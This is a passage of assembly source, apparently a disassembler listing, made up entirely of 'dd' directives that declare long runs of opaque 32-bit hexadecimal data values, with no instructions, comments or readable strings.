4F2002ECh, 7D50EB21h, 0ACFAF0D9h dd 0D97BAAF4h, 0EF2C47h, 9EAD7615h, 2BB919CCh, 3EEE9BDDh dd 0A328C8A6h, 0ECB237E2h, 74074201h, 7A22CC03h, 2284FFB3h dd 0FB60A097h, 51E20D83h, 213C8945h, 0D1FBBFA0h, 70A662F6h dd 8A3D9903h, 571A5A94h, 4E494650h, 0F8AB52A3h, 4F74D709h dd 642B3DC5h, 2F78FF94h, 760BF4D3h, 0FC9D956Fh, 13CDA1D6h dd 2D19444Bh, 2ED5118Fh, 7773A307h, 0E2C24C05h, 0DC2022ECh dd 90274252h, 39961990h, 6A78AAF7h, 0B4B25821h, 70C83E72h dd 2BD475ABh, 6A1E9BDFh, 0CC4BBCC7h, 871D4484h, 6F30174h dd 1343844Fh, 52E19397h, 0AC60A117h, 30A478E6h, 7E6CEE29h dd 0D48FD5C9h, 0B0A61A84h, 6B58BB02h, 3B737CFFh, 3A490627h dd 81CF81A7h, 43218474h, 5B703683h, 425498E1h, 0B2383A3h dd 6EBD1EDFh, 8D9D38E6h, 0FE69857Bh, 365CCBFh, 2242F336h dd 9AF32634h, 0BE11AEDDh, 19168863h, 0F6A85CA1h, 0A0484FC6h dd 0D5824310h, 0CEF60740h, 7ADE3098h, 43CFCEBh, 5C993BF9h dd 556FD3AEh, 0E441DB36h, 2F70B41Dh, 17D93564h, 2B5C92ACh dd 1C98A1DAh, 0E7528117h, 0F48FD9F7h, 6CA612A4h, 0C058AB02h dd 6D4111CCh, 0CB7AB31Bh, 3CFD8869h, 0F120674Eh, 2D6D7FB1h dd 5B53AA02h, 0D6286760h, 44CE395Ch, 0F7BE60E5h, 0D1AAAA78h dd 0DE120BCh, 2647F333h, 8AF63031h, 581470D8h, 3A136F66h dd 0E6ADC0A4h, 6C4BACC3h, 0B1833214h, 0ECF5A846h, 9FD1BA98h dd 0B40986EDh, 0F5B3B6F8h, 68A5F5ACh, 42CA172Ch, 4679A936h dd 1EDB5E2Dh, 665B372Ch, 569F8CDDh, 0A750C815h, 0BBB3BAF4h dd 39B2DB7h, 0A65CB3Ch, 0C34F3CC0h, 1C769F16h, 10F2E561h dd 0FD2D694Ah, 863DFADh, 1F6CFF21h, 1663F412h, 16DCE5DFh dd 4C5F89E7h, 0C5EBFC79h, 0B86641BDh, 0FC471634h, 0D3F6C331h dd 4115F5D9h, 0A121567h, 0CAAD25A5h, 0DA4A63C2h, 9C81BA14h dd 7E9CF46h, 3ECA7299h, 4E1884E3h, 0FFDD96E5h, 0CEEB07DAh dd 59454E12h, 6A75EFD9h, 0B8D715E1h, 245634A1h, 0EB92D8D0h dd 4C5A591Fh, 0E5B909FEh, 9790E3BDh, 106E6637h, 234594CAh dd 0C27F111Ah, 30FBA564h, 1134B85Bh, 456250DBh, 7450AC49h dd 0FC5377EBh, 54E50F57h, 0DC756DEEh, 0CB218973h, 7BEDD6B7h dd 224A763Eh, 9EFB5C3Ch, 4819D7D5h, 681FFD6Bh, 8AA1FFA9h dd 0C546BCCEh, 0FEB0651Ah, 10E26E4Eh, 54CE0F95h, 0A3643CEDh dd 0D7F156EDh, 0AC2660DFh, 62C8490Fh, 877817F4h, 0EFDA36ACh dd 5A5B7D2Ch, 519F87DDh, 0F150AF15h, 34B390F4h, 0DB9A5CB7h dd 0CA65E03Ch, 8A4E5BC7h, 8874BF13h, 59F14B6Bh, 0E8315A58h dd 4D6570CFh, 5829986Ch, 0DB4E7AAEh, 2CF050D2h, 111045EBh dd 0AB673075h, 0A86B85B1h, 2C4C5239h, 86FD5A3Ah, 5F103CD3h dd 7419D26Dh, 96A471AFh, 0CA7DAAC8h, 6C885860h, 0E4D43E75h dd 83C689Eh, 3D7EDDE1h, 4F1BD5EBh, 4B6DC8CCh, 1A4202F4h dd 6972B79Eh, 0BFD01666h, 9510FA6h, 0A595BFD7h, 715D3818h dd 79BE34F9h, 0D19426B9h, 0AD6B5932h, 4A4091C8h, 0C679B813h dd 5FFFCF79h, 0F3C46AEh, 24656DF0h, 7C23CB82h, 1D489160h dd 700E165Ch, 0B13E37E5h, 9CAAE078h, 0BDE6E2BCh, 6940AE34h dd 0B7F60431h, 0AD1B36D8h, 0CC12A266h, 0D7AF63A4h, 74630C3h dd 0E2BAE214h, 54E4DE41h, 14315B94h, 0A4BDDE6h, 0B83ECCEAh dd 1A8C4C1h, 0A7C68EE1h, 0EB7649BAh, 2D7B122h, 0FB56E621h dd 19921CD0h, 0D5A431Fh, 6EB93CFEh, 29913ABCh, 5E6E7728h dd 6A4574CEh, 2F7CDE14h, 0E3C5EC78h, 8538C5A3h, 9B63F5E4h dd 862B58A6h, 0C1744724h, 301A55D8h, 0CDDA7CE1h, 0D4EEB97Ch dd 5F6D39B8h, 84B293Fh, 5AFAB13Dh, 0F317F9D4h, 9D1FBB6Bh dd 20A3CCA9h, 0CB4996CEh, 1CB61E1Ah, 7DD6534Fh, 8726D29Ah dd 0B25448F7h, 0CC516199h, 0CBE64CF7h, 7C4864DFh, 0B7780654h dd 95DA21ECh, 0A85B7FACh, 479854DCh, 0A550B80Bh, 20B37388h dd 0DB9ABB8Eh, 2965F613h, 344EE024h, 737664D8h, 0E6CF44FEh dd 8135C2B1h, 946FF41Eh, 0FC2509CCh, 7871F7EEh, 0A223CC51h dd 0B5F3F1E8h, 9A273875h, 8BEB7DB1h, 9A4A9339h, 0DEFBC23Bh dd 0BC1410D3h, 83160F6Dh, 0CD9545AFh, 0E36FD7C9h, 2B7DCD18h dd 0C3579249h, 0EA2BCC9Ch, 0B6A149F0h, 34745698h, 8D1D44FBh dd 0BEF300A4h, 0CA43854Fh, 0A9D1AFA0h, 4C50D624h, 0DA94F6D4h dd 3A5C4905h, 0BF3F80h, 0B2992C8Ah, 4F68330Fh, 0D243B376h dd 6A781895h, 0C9C0B574h, 5F3AFCB7h, 2263C700h, 8633A8E6h dd 0A963D5A4h, 93507D7h, 2594D9EEh, 7C608272h, 2C6D43B6h dd 0FA4CF03Eh, 0EFF653Ch, 360E0FD5h, 2E08E26Bh, 0A2879FA9h dd 660B89CCh, 0B13A661Dh dd 0ADDE724Ch, 40161198h, 2CB4EEF3h, 46913591h, 3E67E1E6h dd 5949B3BEh, 1F794514h, 41DB436Ah, 4B5A4BAEh, 0A19F65DEh dd 0D557CA09h, 0BCB4BB89h, 0A5929D85h, 8262710Dh, 0B849246Dh dd 0D5714B42h, 27C8A100h, 0C9310E07h, 0D295B238h, 0D3B300Ah dd 4C603F6Fh, 0BB41A653h, 61B195EAh, 0ABA47177h, 0F6E806B3h dd 0DF4A593Bh, 18FB2139h, 80901D0h, 0C2013B6Eh, 80F808ADh dd 0F1BB5CBh, 1DB761Ah, 319D044Ah, 43992998h, 2283F7F6h dd 47B63E92h, 3BA0D8E9h, 77CEA8A9h, 737E3133h, 40DC502Dh dd 0D65D6A29h, 0DE99AAD8h, 0F4511E0Eh, 0E2B20D80h, 32943680h dd 6567130Bh, 214FA86Bh, 0FB74A745h, 4BCE3901h, 0F1356D0Ah dd 7929C2Dh, 4F33912Eh, 0F69B632Ch, 515278D0h, 0E45203E9h dd 22E7F474h, 44548DEFh, 68768B06h, 0DCF79135h, 0BD05C1DCh dd 890DEB62h, 3F4E1A0h, 0A01709C6h, 82D4E717h, 0FF8D3A47h dd 3C8D6695h, 29FDDF4h, 0A7DAE382h, 10EC3C1Dh, 1142C295h dd 237260DFh, 82D382E1h, 35524FA6h, 0DA9706D6h, 0F55F0200h dd 0E2BB508Eh, 8B9D3489h, 0DB6C2C01h, 0E444A561h, 187FAF48h dd 0EAC65C05h, 8B3DDF15h, 2693F45Ah, 6632F84Bh, 169659E9h dd 3F675455h, 0D7721ECh, 8231170h, 12EFBFB4h, 384DD03Ch dd 0A2FCEE3Eh, 990ECDD7h, 6C07CF69h, 50FFBAABh, 6A1F48CDh dd 23C6C81Ah, 0D9849D44h, 0F188B99Bh, 0BEE247FBh, 2FF7498Bh dd 8A204E18h, 0F6CE2089h, 8A7EB1F3h, 0C0DCC1ADh, 755DC529h dd 84990FD8h, 8E516D0Eh, 9FB22380h, 54942880h, 9B641009h dd 0C64C0A6Eh, 76740542h, 0CBCFB809h, 533BF81Ah, 8F96194Dh dd 0B70A4F6Fh, 708AA4ADh, 0E972E9D0h, 2A12E2E9h, 79674874h dd 2B6BF1B0h, 0FC490838h, 21F8673Ah, 903442D3h, 0C3C0222h dd 0EEC79990h, 0D115BBC6h, 0B2C87616h, 96846F48h, 8CFCE896h dd 0EEFE2FF1h, 3C1B7C8Bh, 9D6DB80Ch, 0F2421C75h, 2672A99Fh dd 3BD00A61h, 0A3510BA5h, 0C695A8D4h, 55ED602h, 94BDA78Fh dd 0F29B038Fh, 0BF6AF207h, 5044C061h, 4D701B44h, 0B7C70B1Dh dd 5130F46Ah, 56903E75h, 5006BB87h, 0D08A9165h, 428B5C59h dd 0F43B19E0h, 2EAF087Dh, 7DE3B8B8h, 5141BE30h, 86F09532h dd 0D80327DBh, 940BAB65h, 54F062A7h, 332D3EC1h, 90C9F811h dd 0C087924Eh, 0EBF3CD8Eh, 54C96DF4h, 0F833B187h, 0DFA56C0Ch dd 92CB4E6Ch, 0EB7AD6B7h, 83D85529h, 0F65A862Eh, 0DF9E9CDFh dd 4C57F709h, 0BBB4F786h, 7992DF87h, 462BA08h, 0FE4A406Ah dd 0B9797648h, 82CB8213h, 4E3AAD69h, 5D9A216Eh, 8702B1AFh dd 75BAB12Dh, 31ADE56Fh, 7DEDC2D6h, 0ADE86F7Bh, 0FE640EBFh dd 0B6466C37h, 1F088535h, 0BC050BDCh, 2A0DA963h, 9AF7D5A0h dd 0F12ACED9h, 0D3CDCFEBh, 1C7D9370h, 3EEE64B9h, 6FDCBC2Fh dd 41593871h, 3FEFE2BEh, 1F41B256h, 9071575Ch, 0DDD281E3h dd 945330A7h, 0F697D1D6h, 4D5F5C00h, 0FEBB6389h, 0C49D1B88h dd 3E6A0307h, 0CC43C264h, 2740241h, 0FDCB6016h, 8D053779h dd 0A3B7FC96h, 0B7CFBEC4h, 8C3BFFE4h, 0D9A5FE58h, 7BF5A7EEh dd 0E720B773h, 85EC47B7h, 864FAB3Fh, 3C01543Dh, 720D0ACAh dd 0AB067768h, 0A4FF97ABh, 0C1210CD2h, 74CBE2E0h, 9371E97Bh dd 0D5ED98B2h, 16249726h, 8E71E47Dh, 2C26EEBEh, 29C8B24Fh dd 0EB7E8375h, 92E1ABADh, 0A8605184h, 54A418E5h, 67583B00h dd 0F2BAC888h, 709F648Ah, 0CF69C304h, 0C4F5168h, 0DD79504Fh dd 3AC71A1Fh, 3A09487Ch, 0B1B9318Ah, 0DFDD04E8h, 602E09AAh dd 0ABB7CED5h, 909741ECh, 0C262AF71h, 716F94B5h, 0DA4D863Ch dd 0BB031C3Fh, 8A0F63C8h, 6604DE6Ah, 1EF59BA9h, 2225E7D7h dd 2DCC94E5h, 9779097Eh, 0BAD1F2B7h, 84335E24h, 21965B76h dd 2C63D2A1h, 204DE43Ah, 0B87D6310h, 49DEBF6Fh, 206051ABh dd 28A41B45h, 5C6CA833h, 0EFBE4B8Dh, 1D9AF68Dh, 0D46A9D01h dd 0EC43926Ah, 9275C95Dh, 0BBC9CAEEh, 8005E14Bh, 8AA666B4h dd 7DCDB09h, 2C20446Fh, 4EC1BD53h, 0B2B137EAh, 9A60676h dd 1DEA90B1h, 0DD48F839h, 9806313Ah, 0FC0A49CDh, 4E010B6Fh dd 2CF63FACh, 5021FFD4h, 0DCC9C8E6h, 71403E7Ch, 6EE4753Dh dd 513E9B1Bh, 21BBB77Fh, 9EADB4A4h, 0F8C21025h, 6077203Fh dd 4AD81024h, 15A552Dh, 169E56DFh, 2D56CA09h, 0E9B5BD86h dd 79922099h, 0B0654A0Ah, 224D5966h, 847CD357h, 82C067E3h dd 0A80DEA4Ah, 8A2DFADh, 37ECC3D1h, 69640C13h, 8DCCADEh dd 465EEFE4h, 8AEB8278h, 40618FBCh, 98764BD7h, 38381C04h dd 400486C3h, 0B80F8E61h, 69C89972h, 7A1FAAEAh, 0FDC024EDh dd 6D68AA77h, 96C8D5B8h, 0EC1A2F21h, 10DF0067h, 57E987D8h dd 447C310h, 68774DDAh, 88D576E4h, 0D054B6A1h, 0A890F1D7h dd 7658500Bh, 34BBBD90h, 789C3966h, 0FB6B8764h, 23438BA9h dd 6E755BD8h, 0A4C920E6h, 30199E59h, 30AF59D6h, 6FDDF744h dd 3D5959E6h, 0AEE88F5Ah, 4E7B59E3h, 442DC07Eh, 28E2C5BAh dd 0FB4D2F32h, 42097831h, 0CC09DEC6h, 3BFBC664h, 0E9DD95A7h dd 75E93EDEh, 157FC4EDh, 0DE6D9A71h, 94C1D9BAh, 0E86B2F22h dd 18FE0062h, 662887D1h, 64C6C301h, 0A7764DFBh, 0AD476A4h dd 0D455B72Fh, 0A091F0D4h, 4659520Eh, 54BAB999h, 0B89F3175h dd 7B697746h, 2340EBEDh, 6E761C59h, 0A4CBA1E1h, 301B9C52h dd 30AE5DC5h, 6FA2EF67h, 3D4269A5h, 0AEFB6CD9h, 4E1818E0h dd 4461427Dh, 2960C1B9h, 0FA4C3731h, 4C064832h, 0F0353EC5h dd 23E88667h, 0F93D15A4h, 55AB3EDDh, 0CAFF74EEh, 0B36D7E7Dh dd 6E353DB7h, 877CB28h, 0FF12E462h, 0DA6423C5h, 0FF4A66FDh dd 4A7AE997h, 10D8D168h, 0B459D3A2h, 0E49D97C6h, 3A5530FEh dd 0E8B6D1ADh, 54908D4Ah, 4766C3A9h, 8F4F6F23h, 0AA7F20D8h dd 60C1E2F7h, 0F4125EA0h, 0F4AAADFFh, 2BAD248Dh, 757C3D6Eh dd 9F3D009Fh, 0D20E8BD6h, 0F7A7587Bh, 9E169BFh, 0DD4D1F36h dd 6E057835h, 143A3EC2h, 3BDF5660h, 0F91A85A3h, 5630EDAh dd 0D67FF4E9h, 9C61DA74h, 0D03599B0h, 0A04F6F22h, 8339986Eh dd 6AF6FC6h, 0D3CB9AE2h, 0DD7B7949h, 4ED8C92Bh, 9C59F021h dd 0D09DB2C4h, 665516FAh, 44B681A5h, 3090F15Bh, 6B5F5BCFh dd 3B763F59h, 4E438163h, 8CE28BCFh, 2FAC94h, 89451D3h dd 2F9C2C91h, 75444D13h, 0FF2D61EFh, 16EECAD6h, 3BD6124Bh dd 4250BD8Fh, 8C7E6B07h, 3028DC04h, 781302F3h, 0DBFE8251h dd 494A9992h, 8D13AAEBh, 77CC58D8h, 0F56C3E45h, 0DE1C7580h dd 446E9B0Ch, 0B36BBC5Dh, 5EDD43F0h, 52730EDDh, 0BC439961h dd 60E1A932h, 0C8605459h, 78A4117Ah, 0CE6CA3C1h, 0B48F4F98h dd 70A9216Ah, 0EB5F43DFh, 3B760F78h, 4E436125h, 8CE2C843h dd 282D8Ch, 8955323h, 2F9E28F1h, 75485AD3h, 0FF15516Fh dd 16FF29D6h, 3B36544Bh, 4213318Fh, 8FFF6307h, 312ACC04h dd 7E1F22F3h, 0D7814251h, 0B15A1992h, 9CF0AAEAh, 578258DEh dd 0BAE83E49h, 5F147598h, 429E9B7Dh, 0BF4BBC03h, 651D420Ch dd 42F30E65h, 9B439A51h, 22E1AFD2h, 4C605899h, 70A409FBh dd 0FE6C8CCFh, 0D48E9184h, 0B0A89D12h, 6B5FCBEEh, 0BE751EA7h dd 0A804D33Dh, 374C2E40h, 15E58B76h, 7A5537ADh, 0B2BA9ACCh dd 0E3AD230h, 8C2163D1h, 0D4FBE616h, 4BED1C41h, 0C5A38987h dd 0D9240149h, 2C0FCC6Ch, 9883683Bh, 4ACE7005h, 0EDC462F1h dd 0AB06C269h, 0EBB776E5h dd 0BBA1DB28h, 0F0EFBDD8h, 60921F47h, 1E9556Fh, 8C31A7AAh dd 7163559Dh, 20634FACh, 0A96DDCBCh, 0F66F7E7Ch, 39D8DEBAh dd 0D61DC3A4h, 115ABE68h, 0E8CD6F4Bh, 2787CD0Bh, 4961D5BCh dd 3CD41ECFh, 5D151058h, 636CDBCDh, 0FA9AE753h, 5518EB4h dd 0F46EB98Bh, 76286ACEh, 5B4B9CD8h, 0F48C59F8h, 16C354CAh dd 5B1A61ECh, 0BA210918h, 14D0D394h, 24D554EAh, 0C42872D1h dd 0CE94BB32h, 0FFFD7D36h, 3FA5E548h, 3B1AD843h, 497C3900h dd 0E505F134h, 0F51684B5h, 0DC01D799h, 73838A96h, 3903DA81h dd 0EE4329DBh, 2BE9BEE6h, 0F3235BA4h, 0B0A37D62h, 6528F15Ah dd 273F12FAh, 5829A0D3h, 4ED1FEA8h, 0F3045D89h, 0BC1B0979h dd 6AF3E209h, 0A824E26Dh, 53FB45DCh, 92CB14E2h, 8F7CB30Dh dd 0CB0875D8h, 7F39DD23h, 0ABB35C3Ah, 2670EACFh, 0DF0312AFh dd 0E3C59323h, 0FAB8778h, 5A35CB4Fh, 40D6E059h, 12A9D96Eh dd 0D0E1E4FAh, 600434DAh, 2BBBBD48h, 0B61A3FEEh, 0C217E911h dd 0C170372Ah, 0FDC8CC13h, 31F6A8B8h, 0EFA09D92h, 0A8547125h dd 259852ECh, 785F3FD1h, 0EAA2AC7Bh, 9F591Fh, 0F04FEFC9h dd 0E63BC43Eh, 0F8C6BE4Dh, 0CA020803h, 414F038Bh, 0E9F6085Dh dd 4DC9B0D4h, 17C285CCh, 31A68DB1h, 230F4BA0h, 53463186h dd 0EF5A7DE2h, 7A906628h, 0DEBF7893h, 91166AB4h, 24E5E788h dd 30E89600h, 773747CBh, 421183D4h, 4F786A9Ah, 94AE0E1Eh dd 3CC74512h, 0B42361F4h, 0B8B4FE4Dh, 7A002DD9h, 0F05CA716h dd 0B618B71Fh, 0A911A50Dh, 0B81DE2ABh, 6A1B46C9h, 0B105D73Ch dd 13891469h, 4ADAEFA9h, 4C71ACC9h, 637BCB36h, 0F3DCE039h dd 8AA8BF9Dh, 1CD03098h, 7B04FB8Ch, 544DCC89h, 4967556Ah dd 7701C598h, 0E01E9F1Fh, 233627F1h, 0C7A36B8Ah, 2D30EC15h dd 8C690098h, 3382C054h, 4788B2F5h, 6836748Dh, 5BF8740Ch dd 0D7D6966Ch, 0A12DE0D9h, 3B111B5Dh, 548E7A33h, 0F54A7B78h dd 76CC4C2Ah, 0A04B66DCh, 0E6881525h, 96DD7CE6h, 72859B10h dd 23116F4Fh, 5133A652h, 0E2F0DCF6h, 121A3EF6h, 222F4420h dd 7E1F62A2h, 0B8F6E002h, 7A1500EFh, 5B61FE7Fh, 0F233DFFCh dd 7E112AAh, 0F479B722h, 21B63E76h, 0D2FB7CD6h, 7AD117D3h dd 0B8678BE3h, 25E2986Dh, 0C166875Dh, 0A5604186h, 1A2C1C9Dh dd 0E5EA5820h, 0C78C8127h, 0E0D37EFFh, 302B3CE4h, 9EED1A9Dh dd 719DE779h, 116B829Eh, 0E1CCB20Eh, 11DBFD5h, 0EAD1C716h dd 9F401EC4h, 254643A2h, 1A58ACCAh, 5FD7ACFAh, 3DBEC3C5h dd 49A482D2h, 7FBFABF0h, 0B31231FCh, 6532A2E3h, 0F77615h dd 6E9DA6EBh, 0FE9AEA8Eh, 8CA78B67h, 56AA3F0h, 74C93086h dd 0F2B454BEh, 2D5B1CFEh, 103D1D35h, 9019243h, 1D0207A1h dd 0DA9309ADh, 0BC270533h, 2BD125A0h, 8C62218Dh, 965EA525h dd 2F26E539h, 0E94D275Ah, 0D79A14B5h, 0FB6F2ACBh, 0BDF46E0Bh dd 6276F2EDh, 0A5F8AE11h, 83E5BEDCh, 0EF24E326h, 4625127Dh dd 892938h, 64606CD8h, 40372EE0h, 4E320D88h, 394A86FEh dd 0B1CF7BCh, 57BB8C8h, 0BF9A04CFh, 85BD8DC0h, 0C0B06190h dd 389E5E3Ah, 0ABFE5EBBh, 0C708D3C6h, 5AB0C5FAh, 0DB90088Eh dd 0A3543015h, 0C5CFB62Ch, 0F3A0DE55h, 0CF34E66Fh, 4596C22Ah dd 956536Fh, 2D67AE9Ah, 0AE15CF71h, 78973854h, 0F541DC3Fh dd 0D383D698h, 0AD7FC26Eh, 0D479BDE8h, 870C39B1h, 0EE2C79E1h dd 0DACA2C68h, 1EEF5EF8h, 0E9431CF8h, 0D3A44284h, 0A0BC43B5h dd 2D80AA3Bh, 8E6C3CD6h, 0FAD83FAAh, 83B7447Eh, 0E94473C7h dd 0F315FB1Ah, 7921E683h, 7F34F215h, 817F0730h, 0E70C1021h dd 5C5BAE74h, 3B4BFF5Dh, 4DBED4A0h, 478CDD04h, 8BE883B5h dd 5A37D0EEh, 0BA171E95h, 0D5035247h, 9498E513h, 7C74AA47h dd 0AA2F8391h, 0B2233679h, 2CA19BF5h, 0D4CE961Fh, 0F369593Eh dd 30145143h, 0D86996F7h, 0B0A537E6h, 0BDE08F8Eh, 0C6E2A7Ch dd 0D62A45CBh, 0AF9242F7h, 0DF38D052h, 493BA2BEh, 2000E648h dd 89C063E9h, 6662E31Ah, 3EEA664Ch, 435A561Bh, 47F8731Ch dd 295E232Fh, 0BB2E73DCh, 7E1C410h, 0A5F624A5h, 6AA490ABh dd 0CEDB5F71h, 0DA9C4587h, 0C29AC2FDh, 60A02DB4h, 2D404BEEh dd 747F53C8h, 30D006Eh, 5E511197h, 0FA4D71B6h, 0D1F4C8DFh dd 0FF3193ADh, 0BF8550Dh, 63E50591h, 0DFE3EAh, 0BBA07DEDh dd 201133C0h, 663F0B40h, 2E0D3EAFh, 25776C4Dh, 37B6A259h dd 49F2B65Ch, 1B9AF894h, 0B8187FF4h, 7AB1498Eh, 0C07DAAC8h dd 0B8CDDCA1h, 8587733h, 0E5A3CD54h, 10D52C5Fh, 296D1423h dd 78A4D516h, 81A00DCBh, 7EFCE9A7h, 32707A6Ch, 85BB3B44h dd 0EC4C7E61h, 0D3F78323h, 510738DDh, 9EC8989Eh, 0CFC307CCh dd 23310706h, 0A584E54Ah, 0A30F994Eh, 96CBBB69h, 0EF4D928Fh dd 6318B32h, 0A1A22D1Bh, 4CC01F65h, 457A58ADh, 542C52F2h dd 81D7E321h, 0FC0AAF24h, 3D945CC2h, 0F243D37Bh, 57A67ADCh dd 0EC36AE13h, 0ED0139FDh, 1BF2EC59h, 0CCEF6F01h, 0A4111E7Bh dd 67405C12h, 0FB16B790h, 0F6F9C480h, 31F465A2h, 0EE4539D0h dd 170E7732h, 4FC84641h, 21C2EC72h, 0BF1A99EAh, 32F2840Bh dd 7646E229h, 36E57D13h, 4757B61Bh, 3EF23B0Ah, 0C2AC3063h dd 517DA98Dh, 38531890h, 0D6D844D8h, 0CCD480C9h, 55B77303h dd 0F2E9E314h, 270CB002h, 0DBD2EAD4h, 750D31AEh, 735AED0Ah dd 0AB3D4D74h, 65754504h, 6BA025F8h, 904B56C0h, 82E83DCh dd 443B1FFEh, 0C5573F72h, 7E0D17E8h, 270BD884h, 601464FEh dd 16D2C2E3h, 0C5208DA7h, 6038845Bh, 31D3D9C4h, 98D60301h dd 6BECB200h, 171D6F1Ah, 6A2C81Eh, 0D86A15BBh, 0CEF1674Dh dd 82D21C1h, 34BD361Ah, 8471E50h, 94F13596h, 91AEBE98h dd 0C19CF87Dh, 0F7BFBB83h, 0A6BAEC2Eh, 473F2872h, 9FD51811h dd 61944385h, 9777F9C4h, 9670CD1Bh, 0F52C46DEh, 0FB84D3D1h dd 0EC8D5CF7h, 0A62A2586h, 0D41B19F3h, 2C237849h, 213DF61h dd 0FA92CCF8h, 7E62215Bh, 0D49834CBh, 77CEC653h, 1412C643h dd 0E070B66Bh, 0F0A7EE00h, 0F1B6F099h, 0C91FD842h, 0BE783A85h dd 4FBDF21Bh, 0DFF8881Bh, 70677D9Fh, 7266DBB0h, 87AA02DDh dd 476617BDh, 3091517h, 2B8BFE38h, 0AEF3F341h, 0A817CFAAh dd 65F2FA96h, 0E718F325h, 39F30A11h, 0B87406BFh, 982636EAh dd 1E55CA44h, 4039AF52h, 0F71D01D9h, 0C96360A5h, 9B33DE2h dd 736A7429h, 8FF3848h, 2FC9EB4Bh, 8F405DD3h, 6940FC79h dd 83FB86E2h, 0BB3FD93Ch, 50C361ACh, 767211EEh, 0BFE7517Fh dd 753BAFE1h, 0AEABECF1h, 0AC76B12Dh, 0F69A0252h, 1D39DA0Bh dd 650675ACh, 9047821Dh, 0F7A0C436h, 5519406Eh, 86DD01A2h dd 42E8F0E4h, 0CE267CB5h, 0CEE3C6D0h, 3D585514h, 24DD0238h dd 0C0626D93h, 4F8845DBh, 438AC7C0h, 76C1E558h, 0CD069C31h dd 9ACA576h, 0BCC0CAFFh, 40A53316h, 0D1125DE5h, 0E64DB3Ah dd 35F41690h, 0C1B72402h, 0ADE5FA51h, 22FF553Fh, 50166691h dd 6EB378E3h, 7C678353h, 7FC72BB7h, 8685BBA1h, 1EC1729Fh dd 0F319469Ah, 5CA9670Fh, 24CBB09Dh, 13E463A0h, 7D55651Ch dd 23D2F6FDh, 7FE9B1A4h, 2646735Eh, 83706380h, 0E6BE12DBh dd 50B83B2Ah, 65DCEAF8h, 41296F7Bh, 47780B7h, 2AF45C24h dd 1D0B2BE6h, 5769E139h, 0E1489FB4h, 0BD93EF76h, 7D4206DDh dd 0D24A386Bh, 0FF6099D6h, 1609C981h, 0B216F2E4h, 3E77B91Fh dd 128308D8h, 0E6D5FE99h dd 0CEFD75D9h, 2FA51DC0h, 0A7815197h, 6DEFE817h, 0E43F04C9h dd 4DDD70C2h, 8A3B340Dh, 0AAD1066Ah, 1D3E498Bh, 60C02B1Ah dd 44A0DAA7h, 0FA40EB8Dh, 0B31D5EFDh, 58070BEh, 23111363h dd 0C0127A68h, 6F117071h, 0DAF772A1h, 4EF04C5Ah, 8CDB340Ch dd 67F0591Ch, 0B506238Dh, 37A04C29h, 0E641CAE9h, 3AC71463h dd 2A67AA42h, 68D0148Eh, 8DB74D1Ch, 2F7C057h, 0EFADEC69h dd 5A24D50h, 0B8D3E830h, 0F2E66074h, 7DEA669h, 32C61DB9h dd 0B140F5CFh, 0D40ACE7Dh, 541A3F99h, 5F61501Ah, 0AE216A8Eh dd 0ABF51E6Ch, 0DBD71740h, 93970418h, 518A9965h, 39B50E32h dd 59242C16h, 5C712216h, 1E91542Bh, 0EAC71224h, 0A8B28CD5h dd 0A4DF7C75h, 3D0374BCh, 81BF85AFh, 4A4F538Ch, 8B774F03h dd 0F3A2B2E9h, 6E1D4CDFh, 0BFF1DB37h, 5AE6C104h, 0E80AA2DBh dd 9D167D24h, 0F66CADE2h, 17455723h, 0B5ADBA6Ch, 0BB41E9ABh dd 0B1489973h, 46AC8C3Eh, 5333BE62h, 0AA49D38h, 0EF0A396Bh dd 423D1658h, 0CC1F9F0Bh, 0D7E0622Ch, 1C756476h, 6B934BD8h dd 2B816EEDh, 0E6CABCD8h, 0B4E9373Bh, 25A26CBAh, 0E754058Fh dd 0F2002675h, 40E184E6h, 3560165h, 0E31259CEh, 985BAB00h dd 0FF5E9823h, 886072D8h, 165DB68Eh, 8CAC85DEh, 0FC54B531h dd 2DD6EF5h, 4D4DAD3Bh, 81F2E081h, 425B5DA2h, 0FB02AE50h dd 852DA69Eh, 661EC3A3h, 6AB3EE7Dh, 0DDFD5023h, 0EC6F22F1h dd 0A594B6CFh, 9880D489h, 77F9DCFCh, 0DF04F47Fh, 5048448Dh dd 6E4E8210h, 0ABE926BBh, 350FCD62h, 6439F796h, 0FA4A4F0Bh dd 76B7AEB1h, 1B3BE7EFh, 50444895h, 29EA04BBh, 6815F48Ah dd 0E313A4E5h, 571A51FFh, 1B5ECCC0h, 2762C609h, 8E7F2195h dd 1371E61Dh, 0BF23FD3Bh, 0C46E0EF4h, 7A199F47h, 0A5701BEFh dd 6559DF98h, 3FBD17E6h, 1EC17F21h, 6337C5A4h, 0A22311B7h dd 989ADEA8h, 3ACA2B94h, 9A1E3758h, 3478DFE1h, 0D2AA097Eh dd 82A5167Ch, 722F89FAh, 0C369AE1Ch, 8A000237h, 4FD34AE6h dd 0B3BE335Eh, 0A3D9B442h, 0A73EA86Dh, 0B9D6C1DAh, 0B40C5C1Eh dd 4616A86Dh, 99E62AB7h, 2A4615AEh, 9D1BC0BBh, 9066105h dd 189FA049h, 34D7F83Eh, 8F29329Ch, 82DE3727h, 38F930D9h dd 0C90989B1h, 1A9E513Ah, 4308B6Dh, 1A6DC7C4h, 3C11B0A3h dd 0BC0A493Fh, 0F5B9DD5Ah, 95F5D890h, 95E187Dh, 3C9EA5A3h dd 7EDBF928h, 3F18847Fh, 0A457C1D6h, 0A5DBD8Eh, 0D6EFBBF1h dd 0D8F69948h, 64F7AD68h, 0D8E20EFDh, 0D5E334FAh, 891B8B77h dd 1A1B3E2Dh, 69225674h, 0A8A63FA4h, 86910D75h, 0F5EA94ADh dd 0B872FA17h, 64E631CEh, 1EE2E13Bh, 3F22D36Eh, 2BDBFF88h dd 8D41972Ah, 0F7FD7891h, 1DD9A81Dh, 516FDDEEh, 222AC390h dd 0DB983967h, 4484746Ch, 3135DA5Fh, 331AC4A1h, 5700C0DBh dd 0A7020BACh, 0B08A1751h, 0F289DFFEh, 184DDD8Fh, 9510C6DEh dd 0E363E1Eh, 9BE4CC69h, 37729B8Ah, 74157E5Ah, 0BEE5FF0h dd 829C91E3h, 0EE00DC8Eh, 5ADEC60Eh, 4A4FAD0Bh, 166849FEh dd 0A05F2F48h, 4E047187h, 9C605893h, 407CCA87h, 5AC1ADA6h dd 2445BB9Ch, 0C67B9685h, 1C4C11ACh, 6BA61E06h, 93DB0766h dd 0F17D4FFEh, 2C906F72h, 569D0090h, 0D2DF909Ah, 8CC5679Fh dd 3002ED6h, 7FF5EA6Dh, 57DD45BCh, 43A9FE03h, 3157042Fh dd 0AEBEAB44h, 4A796DB1h, 63C84E0Fh, 